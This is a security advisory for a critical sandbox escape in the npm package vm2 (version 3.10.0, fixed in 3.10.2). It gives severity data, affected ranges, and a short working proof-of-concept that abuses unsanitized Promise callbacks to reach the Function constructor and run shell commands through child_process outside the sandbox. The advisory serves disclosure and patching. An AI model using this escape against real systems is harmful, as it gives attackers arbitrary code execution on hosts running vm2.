GHSA-99p7-6v5w-7xg8

Suggest an improvement
Source
https://github.com/advisories/GHSA-99p7-6v5w-7xg8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-99p7-6v5w-7xg8/GHSA-99p7-6v5w-7xg8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-99p7-6v5w-7xg8
Aliases
Published
2026-01-26T18:57:14Z
Modified
2026-02-03T03:05:10Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
vm2 has a Sandbox Escape
Details

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Database specific
{
    "cwe_ids":  [
        "CWE-693",
        "CWE-913",
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-01-26T18:57:14Z",
    "nvd_published_at":  "2026-01-26T22:15:55Z",
    "severity":  "CRITICAL"
}
References

Affected packages

npm / vm2

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.10.2

Database specific

last_known_affected_version_range
"<= 3.10.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-99p7-6v5w-7xg8/GHSA-99p7-6v5w-7xg8.json"